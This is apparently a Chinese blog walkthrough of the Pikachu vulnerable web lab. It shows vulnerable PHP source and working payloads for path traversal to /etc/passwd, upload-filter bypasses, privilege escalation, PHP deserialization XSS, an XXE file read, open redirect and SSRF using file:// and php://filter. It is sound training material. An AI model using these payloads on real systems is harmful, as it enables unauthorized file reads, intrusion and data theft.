修改参数,下载敏感文件

源码

// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
...
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
...
//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){

    $file_con=fread($fp,$buffer);
    $file_count+=$buffer;

    echo $file_con;

在读取文件路劲时并没有做任何的限制,这就导致可以利用../返回上级目录,从而去下载敏感文件

Unsafe Fileupload

概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断
比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。

如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:

  • 验证文件类型、后缀名、大小;
  • 验证文件的上传方式;
  • 对文件进行一定复杂的重命名;
  • 不要暴露文件上传后的路径;
  • 等等…

client check

删除前端检测函数再上传 checkFileExt(this.value)

成功上传并执行命令

前端jsp源码

<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>

MIME type

修改 Content-Type

Content-Type: image/png

成功上传

源码

$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
    $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";

getimagesize

上传图片马

利用文件包含解析图片马

源码

$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
    $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
...
function upload($key,$size,$type=array(),$mime=array(),$save_path){
  $arr_errors=array(
      1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
      2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
      3=>'文件只有部分被上传',
      4=>'没有文件被上传',
      6=>'找不到临时文件夹',
      7=>'文件写入失败'
  );

Over Permission

概述

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:

  • 使用最小权限原则对用户进行赋权;
  • 使用合理(严格)的权限校验规则;
  • 使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权

修改 username 查看不同用户的信息

源码

//查询数据时没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
    $data=mysqli_fetch_assoc($result);
    $uname=$data['username'];
    $sex=$data['sex'];
    $phonenum=$data['phonenum'];
    $add=$data['address'];
    $email=$data['email'];

垂直越权

pikachu 用户访问用户添加界面 op2_admin_edit.php 直接添加用户

pikachu/000000

直接添加新用户

源码

// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
    header("location:op2_login.php");
    exit();
}
if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
        $getdata=escape($link, $_POST);//转义
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){//判断是否插入
            header("location:op2_admin.php");

../../

概述

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞

目录遍历

../../../../../../../../../etc/passwd

源码

if(isset($_GET['title'])){
    $filename=$_GET['title'];
    //这里直接把传进来的内容进行了require(),造成问题
    require "soup/$filename";

敏感信息泄露

概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到

IcanseeyourABC

前端源码存在测试账户信息

PHP反序列化

概述

**序列化serialize()**:序列化说通俗点就是把一个对象变成可以传输的字符串

**反序列化unserialize()**:就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:

  • __construct() 当一个对象创建时被调用
  • __destruct() 当一个对象销毁时被调用
  • __toString() 当一个对象被当作一个字符串使用
  • __sleep() 在对象在被序列化之前运行
  • __wakeup 将在序列化之后立即被调用

PHP反序列化漏洞

构造序列化

<?php
class S{
public $test="<script>alert(1)</script>";
}

$s=new S(); //创建一个对象
echo serialize($s); //把这个对象进行序列化

执行php得到序列化字符串

反序列化执行js

O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

我们输入的序列化字符串经过处理被输出到当前html页面中

XXE

概述

XXE -“xml external entity injection”,既”xml外部实体注入漏洞”
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入

现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的

XXE漏洞

源码

$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
    $html.="<pre>{$data}</pre>";
...
//简单的看一下simplexml_load_string函数
/**
 * Interprets a string of XML into an object
 * @link https://php.net/manual/en/function.simplexml-load-string.php
 * @param string $data <p>
 * A well-formed XML string
 * </p>
 * @param string|null $class_name [optional] <p>
 * You may use this optional parameter so that
 * <b>simplexml_load_string</b> will return an object of
 * the specified class. That class should extend the
 * SimpleXMLElement class.
 * </p>
 * @param int $options [optional] <p>
 * Since PHP 5.1.0 and Libxml 2.6.0, you may also use the
 * <i>options</i> parameter to specify additional Libxml parameters.
 * </p>
 * @param string $namespace_or_prefix [optional] <p>
 * Namespace prefix or URI.
 * </p>
 * @param bool $is_prefix [optional] <p>
 * <b>TRUE</b> if <i>ns</i> is a prefix, <b>FALSE</b> if it's a URI;
 * defaults to <b>FALSE</b>.
 * </p>
 * @return SimpleXMLElement|false an object of class SimpleXMLElement with
 * properties containing the data held within the xml document, or <b>FALSE</b> on failure.
 */
function simplexml_load_string (string $data, ?string $class_name = "SimpleXMLElement", int $options = 0, string $namespace_or_prefix = "", bool $is_prefix = false): SimpleXMLElement|false {}
//大致意思就是处理xml格式的文件数据

构造伪协议读取文件

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

URL重定向

概述

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生”跳错对象”的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

不安全的URL跳转

url= 处添加网址

?url=http://www.baidu.com

执行后会跳转到www.baidu.com

源码

$url = $_GET['url'];
//对输入的url没有做外部跳转的过滤或者是黑白名单的限制
if($url == 'i'){
    $html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
//跳转到用户指定的url
    header("location:{$url}");

SSRF

概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者—–>服务器—->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()   

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤

SSRF(curl)

可以利用FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP等协议

file:///etc/passwd

也可以做内网端口扫描

源码

//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP

SSRF(file_get_content)

./ssrf_info/info1.php

file_get_contents() 函数把整个文件读入一个字符串中

如果pikachu这台服务器所处的内网还有另一台不想被访问的服务器,那么可以使用该漏洞进行请求另一台服务器的资源
这里就随便读取本地的一个文件

源码

//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;

文章作者: f1veseven
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f1veseven !
评论
  目录